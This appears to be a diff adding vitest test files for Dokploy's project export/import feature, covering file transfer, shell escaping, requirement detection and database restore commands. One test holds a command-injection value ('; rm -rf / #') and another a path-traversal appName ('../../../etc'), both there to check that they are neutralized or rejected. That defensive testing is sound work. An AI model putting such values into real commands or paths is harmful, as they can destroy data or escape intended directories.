it("regenerates app names by default, and keeps the original when keepAppNames is set and available", async () => {
const regenerated = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(regenerated.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
const kept = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
keepAppNames: true,
checkAppNameAvailable: async () => true,
},
);
expect(kept.appNameMap["my-app-abc123"]).toBe("my-app-abc123");
});
it("retries appName generation against the DB on a simulated collision", async () => {
let findFirstCalls = 0;
const db = {
...fakeDb(),
query: {
...(fakeDb() as any).query,
applications: {
findFirst: async () => {
findFirstCalls += 1;
return findFirstCalls <= 2
? { applicationId: "app-taken", appName: "whatever" }
: undefined;
},
},
},
} as any as TransferDb;
const plan = await buildPlan(db, snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(findFirstCalls).toBeGreaterThanOrEqual(3);
expect(plan.appNameMap["my-app-abc123"]).toBeDefined();
expect(plan.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
});
it("gives up after MAX_APP_NAME_RETRIES consecutive collisions instead of looping forever", async () => {
const db = {
...fakeDb(),
query: {
...(fakeDb() as any).query,
applications: {
findFirst: async () => ({
applicationId: "app-taken",
appName: "whatever",
}),
},
},
} as any as TransferDb;
await expect(
buildPlan(db, snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
}),
).rejects.toThrow(/unique appName/i);
});
it("excludes redis from the dump count summary (it has no dump support)", async () => {
const dumpSnapshot: Snapshot = {
...snapshot,
manifest: {
...snapshot.manifest,
scope: {
...snapshot.manifest.scope,
dumps: { mode: "embed" },
},
},
resources: {
...snapshot.resources,
services: [
applicationService,
{
kind: "postgres",
postgresId: "pg-1",
name: "my-db",
appName: "my-db-abc123",
environmentId: "env-1",
},
{
kind: "redis",
redisId: "redis-1",
name: "my-cache",
appName: "my-cache-abc123",
environmentId: "env-1",
},
],
},
requirements: [],
};
const plan = await buildPlan(fakeDb(), dumpSnapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.summary.dumps).toBe(1);
});
});
@@ -0,0 +1,248 @@
import { existsSync } from "node:fs";
import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
Plan,
Snapshot,
TransferDb,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import { postApply } from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
vi.mock("@dokploy/server/services/mount", () => ({
createFileMount: vi.fn(async () => {}),
}));
const { createFileMount } = await import("@dokploy/server/services/mount");
let root: string;
let workDir: string;
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
});
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-postapply-root-"));
workDir = await mkdtemp(join(tmpdir(), "transfer-postapply-work-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
await rm(workDir, { recursive: true, force: true });
});
const composeService = {
kind: "compose",
composeId: "compose-1",
appName: "my-compose-abc123",
environmentId: "env-1",
serverId: null,
};
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [composeService],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: { "my-compose-abc123": "my-compose-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
const result: TransferResult = {
idMap: { compose: { "compose-1": "compose-new-1" } },
appNameMap: plan.appNameMap,
pendingRequirements: [],
pendingServices: [],
rotations: [],
restoreErrors: [],
warnings: [],
};
const fakeDb = {
query: {
certificates: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
},
} as any as TransferDb;
describe("postApply", () => {
it("copies compose files to the new appName, rewriting docker-compose.yml, and reports it as a deploy candidate", async () => {
const sourceDir = join(workDir, "files", "compose", "my-compose-abc123");
await mkdir(sourceDir, { recursive: true });
await writeFile(
join(sourceDir, "docker-compose.yml"),
"services:\n web:\n container_name: my-compose-abc123-web\n",
);
await writeFile(join(sourceDir, ".env"), "APP_NAME=my-compose-abc123\n");
const { deployCandidates } = await postApply(
fakeDb,
snapshot,
plan,
result,
local(workDir),
{
pathsFn: fakePaths as any,
},
);
const destDir = join(root, "compose", "my-compose-xyz789");
expect(existsSync(join(destDir, "docker-compose.yml"))).toBe(true);
const composeContent = await readFile(
join(destDir, "docker-compose.yml"),
"utf8",
);
expect(composeContent).toContain("my-compose-xyz789-web");
expect(composeContent).not.toContain("my-compose-abc123");
const envContent = await readFile(join(destDir, ".env"), "utf8");
expect(envContent).toContain("APP_NAME=my-compose-xyz789");
expect(deployCandidates).toEqual([
{ serviceId: "compose-new-1", serviceType: "compose", serverId: null },
]);
});
it("excludes pending services from deployCandidates", async () => {
const pendingPlan: Plan = {
...plan,
pendingServices: [
{
serviceId: "compose-1",
serviceType: "compose",
reason: "Missing registry",
},
],
};
const { deployCandidates } = await postApply(
fakeDb,
snapshot,
pendingPlan,
result,
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(deployCandidates).toEqual([]);
});
});
describe("postApply writes file-type mounts to disk (T-6.6)", () => {
it("calls createFileMount for every file-type mount belonging to a newly created service", async () => {
(createFileMount as any).mockClear();
const dbWithMounts = {
query: {
certificates: { findFirst: async () => undefined },
mounts: {
findMany: async () => [
{
mountId: "mount-file-1",
type: "file",
filePath: "/app/nginx.conf",
},
],
},
},
} as any as TransferDb;
await postApply(dbWithMounts, snapshot, plan, result, local(workDir), {
pathsFn: fakePaths as any,
});
expect(createFileMount).toHaveBeenCalledWith("mount-file-1");
expect(createFileMount).toHaveBeenCalledTimes(1);
});
});
describe("postApply rejects an unsafe appName (T-9.2)", () => {
it("reports a postApplyError instead of joining a path-traversal appName into a local path", async () => {
const maliciousSnapshot: Snapshot = {
...snapshot,
resources: {
...snapshot.resources,
services: [
{
...composeService,
appName: "../../../etc",
},
],
},
};
const maliciousPlan: Plan = { ...plan, appNameMap: {} };
const { deployCandidates, postApplyErrors } = await postApply(
fakeDb,
maliciousSnapshot,
maliciousPlan,
result,
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(deployCandidates).toEqual([]);
expect(postApplyErrors).toHaveLength(1);
expect(postApplyErrors[0]?.error).toContain("Unsafe path in bundle");
});
});
@@ -0,0 +1,189 @@
import { existsSync, readFileSync, writeFileSync } from "node:fs";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
copyDir,
copyFile,
escapeShellArg,
exists,
fileSize,
readFile,
remove,
runToFile,
writeFile as writeRemoteFile,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const { pipeMock } = vi.hoisted(() => ({ pipeMock: vi.fn() }));
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
return {
...actual,
pipeBetweenServers: (
args: Parameters<typeof actual.pipeBetweenServers>[0],
) =>
args.source.serverId || args.target.serverId
? pipeMock(args)
: actual.pipeBetweenServers(args),
};
},
);
const local = (path: string) => ({ serverId: null, path });
describe("escapeShellArg", () => {
it("wraps a plain value in single quotes", () => {
expect(escapeShellArg("app-foo")).toBe("'app-foo'");
});
it("neutralizes an embedded single quote (command injection attempt)", () => {
const malicious = "foo'; rm -rf / #";
expect(escapeShellArg(malicious)).toBe("'foo'\\''; rm -rf / #'");
});
});
describe("local transfers (serverId null on both sides)", () => {
let base: string;
beforeEach(async () => {
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-"));
});
afterEach(async () => {
await rm(base, { recursive: true, force: true });
});
it("copies a directory tree with copyDir, honouring excludes", async () => {
const source = join(base, "source");
await mkdir(join(source, "nested"), { recursive: true });
await mkdir(join(source, "node_modules"), { recursive: true });
await writeFile(join(source, "a.txt"), "hello");
await writeFile(join(source, "nested", "b.txt"), "world");
await writeFile(join(source, "node_modules", "x.js"), "skip me");
const dest = join(base, "dest", "deep");
await copyDir(local(source), local(dest), { exclude: ["node_modules"] });
expect(readFileSync(join(dest, "a.txt"), "utf8")).toBe("hello");
expect(readFileSync(join(dest, "nested", "b.txt"), "utf8")).toBe("world");
expect(existsSync(join(dest, "node_modules"))).toBe(false);
});
it("copies a single file with copyFile, creating the parent directory", async () => {
const source = join(base, "dump.sql");
writeFileSync(source, Buffer.from([0, 1, 2, 255]));
const dest = join(base, "out", "copied-dump.sql");
await copyFile(local(source), local(dest));
expect(readFileSync(dest)).toEqual(Buffer.from([0, 1, 2, 255]));
});
it("writes from memory and reads back with writeFile/readFile", async () => {
const target = join(base, "nested", "it's.json");
await writeRemoteFile(local(target), '{"a":1}');
expect((await readFile(local(target))).toString()).toBe('{"a":1}');
expect(await exists(local(target))).toBe(true);
expect(await fileSize(local(target))).toBe(7);
});
it("captures a command's stdout into a file with runToFile", async () => {
const target = join(base, "captured.txt");
await runToFile(null, "printf 'abc'", local(target));
expect(readFileSync(target, "utf8")).toBe("abc");
});
it("removes the target when the command fails in runToFile", async () => {
const target = join(base, "partial.txt");
await expect(
runToFile(null, "printf 'abc'; exit 3", local(target)),
).rejects.toThrow();
expect(existsSync(target)).toBe(false);
});
it("remove is a no-op for a missing path and exists reports false", async () => {
const target = join(base, "missing");
await expect(remove(local(target))).resolves.toBeUndefined();
expect(await exists(local(target))).toBe(false);
});
});
describe("transfers between different servers go through pipeBetweenServers", () => {
let base: string;
beforeEach(async () => {
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-ssh-"));
pipeMock.mockReset();
});
afterEach(async () => {
await rm(base, { recursive: true, force: true });
});
it("copyFile removes the local target when the remote side fails", async () => {
const target = join(base, "app-one.yml");
pipeMock.mockImplementation(async () => {
writeFileSync(target, "partial");
throw new Error("source exited with code 1: cat: No such file");
});
await expect(
copyFile(
{
serverId: "server-1",
path: "/etc/dokploy/traefik/dynamic/app-one.yml",
},
local(target),
),
).rejects.toThrow(/exited with code 1: cat: No such file/);
expect(existsSync(target)).toBe(false);
expect(pipeMock.mock.calls[0]?.[0].source).toEqual({
serverId: "server-1",
command: "cat '/etc/dokploy/traefik/dynamic/app-one.yml'",
});
});
it("copyDir escapes the paths and the excludes on both ends", async () => {
pipeMock.mockResolvedValue(0);
await copyDir(
{ serverId: "server-1", path: "/remote/dir" },
{ serverId: "server-2", path: "/it's/local" },
{ exclude: [".git", "it's"] },
);
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
source: {
serverId: "server-1",
command:
"tar -czf - --exclude='.git' --exclude='it'\\''s' -C '/remote/dir' .",
},
target: {
serverId: "server-2",
command:
"mkdir -p '/it'\\''s/local' && tar -xzf - -C '/it'\\''s/local'",
},
});
});
it("runToFile streams a command from one server into a file on another", async () => {
pipeMock.mockResolvedValue(0);
await runToFile("db-server", "pg_dump x | gzip", {
serverId: "build-server",
path: "/etc/dokploy/project-export-import/x/dumps/pg.sql.gz",
});
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
source: { serverId: "db-server", command: "pg_dump x | gzip" },
target: {
serverId: "build-server",
command:
"mkdir -p '/etc/dokploy/project-export-import/x/dumps' && cat > '/etc/dokploy/project-export-import/x/dumps/pg.sql.gz'",
},
});
});
});
@@ -0,0 +1,362 @@
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import { detectRequirements } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const baseApplication = {
applicationId: "app-1",
name: "app-1",
env: "",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
owner: null,
repository: null,
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
domains: [],
backups: undefined,
volumeBackups: [],
};
const emptyServiceArrays = {
compose: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
const buildTree = (application: Record<string, unknown>) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [application],
postgres: [],
...emptyServiceArrays,
},
],
});
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
({
query: {
vaultProvider: { findMany: async () => [] },
destinations: { findMany: async () => [] },
registry: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
...overrides,
},
}) as any as TransferDb;
describe("detectRequirements", () => {
it("detects a vault requirement grouping every secretKey referenced", async () => {
const application = {
...baseApplication,
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI=${{vault.prod.API}}",
};
const db = fakeDb({
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const vaultReqs = requirements.filter((r) => r.kind === "vault");
expect(vaultReqs).toHaveLength(1);
expect(vaultReqs[0]).toMatchObject({
kind: "vault",
originalId: "vault-1",
providerName: "prod",
providerType: "hashicorp",
});
expect((vaultReqs[0] as any).secretKeys.sort()).toEqual(["API", "DB_PASS"]);
});
it("merges registry + buildRegistry into one requirement with both roles", async () => {
const application = {
...baseApplication,
registryId: "registry-1",
buildRegistryId: "registry-1",
};
const db = fakeDb({
registry: {
findMany: async () => [
{
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const registryReqs = requirements.filter((r) => r.kind === "registry");
expect(registryReqs).toHaveLength(1);
expect((registryReqs[0] as any).role.sort()).toEqual([
"buildRegistry",
"registry",
]);
});
it("emits a single server requirement with originalId null for services with no serverId", async () => {
const application = { ...baseApplication, serverId: null };
const requirements = await detectRequirements(
fakeDb(),
buildTree(application) as any,
baseScope,
);
const serverReqs = requirements.filter((r) => r.kind === "server");
expect(serverReqs).toHaveLength(1);
expect(serverReqs[0]?.originalId).toBeNull();
expect(serverReqs[0]?.usedBy).toHaveLength(1);
});
it("detects a gitProvider requirement with owner/repo", async () => {
const application = {
...baseApplication,
githubId: "gh-1",
owner: "acme",
repository: "app",
};
const requirements = await detectRequirements(
fakeDb(),
buildTree(application) as any,
baseScope,
);
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
expect(gitReqs).toHaveLength(1);
expect(gitReqs[0]).toMatchObject({
providerType: "github",
originalId: "gh-1",
});
expect((gitReqs[0] as any).repositories).toEqual([
{ owner: "acme", repo: "app" },
]);
});
it("detects a destination requirement from a backup FK", async () => {
const application = {
...baseApplication,
volumeBackups: [{ destinationId: "dest-1" }],
};
const db = fakeDb({
destinations: {
findMany: async () => [
{
destinationId: "dest-1",
bucket: "my-bucket",
endpoint: "s3.example.com",
region: "us-east-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const destReqs = requirements.filter((r) => r.kind === "destination");
expect(destReqs).toHaveLength(1);
expect(destReqs[0]).toMatchObject({
originalId: "dest-1",
bucket: "my-bucket",
endpoint: "s3.example.com",
region: "us-east-1",
});
});
it("resolves network names for referenced networkIds", async () => {
const application = { ...baseApplication, networkIds: ["net-1"] };
const db = fakeDb({
network: {
findMany: async () => [{ networkId: "net-1", name: "shared-net" }],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const networkReqs = requirements.filter((r) => r.kind === "network");
expect(networkReqs).toHaveLength(1);
expect(networkReqs[0]).toMatchObject({
originalId: "net-1",
name: "shared-net",
});
});
it("detects an uploaded certificate by the https domains it covers on the same server", async () => {
const application = {
...baseApplication,
serverId: "server-1",
domains: [
{
domainId: "dom-1",
host: "app.example.com",
https: true,
certificateType: "none",
},
{
domainId: "dom-2",
host: "other.example.com",
https: true,
certificateType: "none",
},
],
};
const certificate = {
certificateId: "cert-1",
certificateData:
"-----BEGIN CERTIFICATE-----\n" +
"MIICPjCCAeOgAwIBAgIJAOEJ+5C9HjNZMAoGCCqGSM49BAMCMBoxGDAWBgNVBAMM\n" +
"D2FwcC5leGFtcGxlLmNvbTAeFw0yNjEwMTUyMTQ0NDlaFw0zNjEwMTIyMTQ0NDla\n" +
"MBoxGDAWBgNVBAMMD2FwcC5leGFtcGxlLmNvbTCCAUswggEDBgcqhkjOPQIBMIH3\n" +
"AgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP//////////////\n" +
"/zBbBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12Ko6k+ez\n" +
"671VdpiGvGUdBrDMU7D2O848PifSYEsDFQDEnTYIhucEk2pmeOETnSa3gZ9+kARB\n" +
"BGsX0fLhLEJH+Lzm5WOkQPJ3A32BLeszoPShOUXYmMKWT+NC4v4af5uO5+tKfA+e\n" +
"FivOM1drMV7Oy7ZAaDe/UfUCIQD/////AAAAAP//////////vOb6racXnoTzucrC\n" +
"/GMlUQIBAQNCAASL1XU5x61CV4NiEe+/UmBo6LjNyEpG597XYQ1EPv1QhtboQ1Uo\n" +
"no7Yf/H6T/8elaaCFtgl/sZqxHP4HDLkIFYtox4wHDAaBgNVHREEEzARgg9hcHAu\n" +
"ZXhhbXBsZS5jb20wCgYIKoZIzj0EAwIDSQAwRgIhANb3ATUO9PvG5Ta/5M4ggr11\n" +
"Rb3EoP/+A1AjbYmYEszLAiEA4nxjPPJXLb1zXMeiqz6xyI+8ETyjucTZTkfj4hyV\n" +
"6DM=\n" +
"-----END CERTIFICATE-----\n",
serverId: "server-1",
};
const db = fakeDb({
certificates: {
findMany: async () => [
certificate,
{
...certificate,
certificateId: "cert-other-server",
serverId: null,
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const certReqs = requirements.filter((r) => r.kind === "certificate");
expect(certReqs).toHaveLength(1);
expect(certReqs[0]?.originalId).toBe("cert-1");
expect(certReqs[0]?.usedBy).toHaveLength(1);
expect((certReqs[0] as any).fingerprint).toMatch(/^[a-f0-9]{64}$/);
expect((certReqs[0] as any).serverId).toBe("server-1");
});
it("dedupes requirements used by multiple services into one entry with combined usedBy", async () => {
const application1 = {
...baseApplication,
applicationId: "app-1",
serverId: "server-1",
};
const application2 = {
...baseApplication,
applicationId: "app-2",
serverId: "server-1",
};
const tree = buildTree(application1) as any;
tree.environments[0].applications.push(application2);
const requirements = await detectRequirements(fakeDb(), tree, baseScope);
const serverReqs = requirements.filter((r) => r.kind === "server");
expect(serverReqs).toHaveLength(1);
expect(serverReqs[0]?.usedBy).toHaveLength(2);
});
it("only scans services actually within scope.serviceIds", async () => {
const included = {
...baseApplication,
applicationId: "app-included",
githubId: "gh-1",
owner: "acme",
repository: "included-repo",
};
const excluded = {
...baseApplication,
applicationId: "app-excluded",
githubId: "gh-1",
owner: "acme",
repository: "excluded-repo",
};
const tree = buildTree(included) as any;
tree.environments[0].applications.push(excluded);
const requirements = await detectRequirements(fakeDb(), tree, {
...baseScope,
serviceIds: ["app-included"],
});
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
expect(gitReqs).toHaveLength(1);
expect((gitReqs[0] as any).repositories).toEqual([
{ owner: "acme", repo: "included-repo" },
]);
});
});
@@ -0,0 +1,285 @@
import { createHash } from "node:crypto";
import type {
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
LOCAL_SERVER_CANDIDATE_ID,
proposeResolutions,
requirementKey,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const CERT_FINGERPRINT = createHash("sha256")
.update("cert-data-1")
.digest("hex");
const vaultRequirement: Requirement = {
kind: "vault",
originalId: "vault-src",
configIncluded: false,
usedBy: [],
providerName: "prod",
providerType: "hashicorp",
secretKeys: [],
};
const gitProviderRequirement: Requirement = {
kind: "gitProvider",
originalId: "gh-src",
configIncluded: false,
usedBy: [],
providerType: "github",
repositories: [],
};
const destinationRequirement: Requirement = {
kind: "destination",
originalId: "dest-src",
configIncluded: true,
usedBy: [],
bucket: "my-bucket",
endpoint: "https://s3.example.com",
region: "us-east-1",
};
const registryRequirement: Requirement = {
kind: "registry",
originalId: "reg-src",
configIncluded: true,
usedBy: [],
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
role: ["registry"],
};
const sshKeyRequirement: Requirement = {
kind: "sshKey",
originalId: "key-src",
configIncluded: true,
usedBy: [],
publicKey: "ssh-ed25519 AAAAtest",
};
const networkRequirement: Requirement = {
kind: "network",
originalId: "net-src",
configIncluded: false,
usedBy: [],
name: "my-network",
};
const certificateRequirement: Requirement = {
kind: "certificate",
originalId: "cert-src",
configIncluded: false,
usedBy: [],
fingerprint: CERT_FINGERPRINT,
serverId: null,
};
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src",
configIncluded: false,
usedBy: [],
};
const requirements: Requirement[] = [
vaultRequirement,
gitProviderRequirement,
destinationRequirement,
registryRequirement,
sshKeyRequirement,
networkRequirement,
certificateRequirement,
serverRequirement,
];
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: { project: {}, environments: [], services: [], shared: {} },
requirements,
warnings: [],
dumps: [],
};
const fakeDb = (): TransferDb =>
({
query: {
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-dest-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-dest",
},
],
},
gitProvider: {
findMany: async () => [
{
gitProviderId: "gh-dest-1",
name: "Acme GitHub",
providerType: "github",
organizationId: "org-dest",
},
],
},
destinations: { findMany: async () => [] },
registry: {
findMany: async () => [
{
registryId: "reg-dest-1",
registryName: "Acme Registry",
registryUrl: "https://other.example.com",
imagePrefix: "other",
organizationId: "org-dest",
},
],
},
sshKeys: {
findMany: async () => [
{
sshKeyId: "key-dest-1",
name: "deploy key",
publicKey: "ssh-ed25519 AAAAtest",
organizationId: "org-dest",
},
],
},
network: {
findMany: async () => [
{
networkId: "net-dest-1",
name: "other-network",
organizationId: "org-dest",
},
],
},
certificates: { findMany: async () => [] },
server: {
findMany: async () => [
{
serverId: "server-dest-1",
name: "prod-server",
organizationId: "org-dest",
},
],
},
},
}) as any as TransferDb;
describe("proposeResolutions", () => {
it("resolves vault by name + providerType match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(vaultRequirement)]).toEqual({
status: "resolved",
targetId: "vault-dest-1",
});
});
it("never auto-resolves gitProvider, always mappable/missing by type", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(gitProviderRequirement)]).toEqual({
status: "mappable",
candidates: [{ id: "gh-dest-1", name: "Acme GitHub" }],
});
});
it("proposes createable for destination when configIncluded and no match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(destinationRequirement)]).toEqual({
status: "createable",
candidates: [],
});
});
it("proposes createable for registry with existing-org candidates attached when no exact match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(registryRequirement)]).toEqual({
status: "createable",
candidates: [{ id: "reg-dest-1", name: "Acme Registry" }],
});
});
it("resolves sshKey by exact publicKey match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(sshKeyRequirement)]).toEqual({
status: "resolved",
targetId: "key-dest-1",
});
});
it("proposes mappable for network when configIncluded is false and no exact match but candidates exist", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(networkRequirement)]).toEqual({
status: "mappable",
candidates: [{ id: "net-dest-1", name: "other-network" }],
});
});
it("resolves certificate by recomputed fingerprint match", async () => {
const withMatchingCert: TransferDb = {
query: {
...(fakeDb() as any).query,
certificates: {
findMany: async () => [
{
certificateId: "cert-dest-1",
name: "prod cert",
certificateData: "cert-data-1",
organizationId: "org-dest",
},
],
},
},
} as any;
const result = await proposeResolutions(
withMatchingCert,
snapshot,
"org-dest",
);
expect(result[requirementKey(certificateRequirement)]).toEqual({
status: "resolved",
targetId: "cert-dest-1",
});
});
it("proposes missing for certificate when no fingerprint match and configIncluded is false", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(certificateRequirement)]).toEqual({
status: "missing",
});
});
it("is always mappable for server, offering the local-server sentinel alongside org servers", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(serverRequirement)]).toEqual({
status: "mappable",
candidates: [
{ id: LOCAL_SERVER_CANDIDATE_ID, name: "Local server" },
{ id: "server-dest-1", name: "prod-server" },
],
});
});
});
@@ -0,0 +1,368 @@
import type {
Snapshot,
TransferDb,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it, vi } from "vitest";
const { failRestoreBox } = vi.hoisted(() => ({
failRestoreBox: { value: false },
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsync: vi.fn(async (command: string) => {
if (command.includes("pg_restore") && failRestoreBox.value) {
throw new Error("restore failed");
}
return { stdout: "", stderr: "" };
}),
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock(
"@dokploy/server/services/project-export-import/remote-fs",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import/remote-fs")
>();
return {
...actual,
copyFile: vi.fn(async () => {}),
remove: vi.fn(async () => {}),
};
},
);
const {
restoreDumps,
buildRestoreCommand,
buildWaitReadyScript,
buildReadyProbe,
waitUntilReady,
} = await import("@dokploy/server/services/project-export-import");
const { remove, copyFile } = await import(
"@dokploy/server/services/project-export-import/remote-fs"
);
describe("buildRestoreCommand", () => {
it("pipes decompressed bytes into the restore command for postgres", () => {
const command = buildRestoreCommand(
"postgres",
{
appName: "my-db-abc123",
databaseName: "mydb",
databaseUser: "dokploy",
},
"/tmp/dokploy-import-restore-pg-1.sql.gz",
);
expect(command).toContain(
"gunzip -c '/tmp/dokploy-import-restore-pg-1.sql.gz'",
);
expect(command).toContain("pg_restore");
expect(command).toContain("my-db-abc123");
});
it("uses the mysql root password, not databasePassword, for the restore command", () => {
const command = buildRestoreCommand(
"mysql",
{
appName: "my-mysql-abc123",
databaseName: "mydb",
databasePassword: "not-the-root-password",
databaseRootPassword: "the-real-root-password",
},
"/tmp/dokploy-import-restore-mysql-1.sql.gz",
);
expect(command).toContain("the-real-root-password");
expect(command).not.toContain("not-the-root-password");
});
it("strips USE/CREATE DATABASE statements for mariadb (multi-db dump safety)", () => {
const command = buildRestoreCommand(
"mariadb",
{
appName: "my-mariadb-abc123",
databaseName: "mydb",
databaseUser: "dokploy",
databasePassword: "pass",
},
"/tmp/dokploy-import-restore-mariadb-1.sql.gz",
);
expect(command).toContain("grep -viE");
});
it("restores the whole mongo archive through stdin, skipping admin/config, with --drop", () => {
const command = buildRestoreCommand(
"mongo",
{
appName: "my-mongo-abc123",
databaseUser: "dokploy",
databasePassword: "pass",
},
"/tmp/dokploy-import-restore-mongo-1.archive.gz",
);
expect(command).toContain(
'mongorestore -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --nsExclude "admin.*" --nsExclude "config.*" --archive --gzip --drop',
);
expect(command).toContain(
"< '/tmp/dokploy-import-restore-mongo-1.archive.gz'",
);
expect(command).not.toContain("--db");
});
});
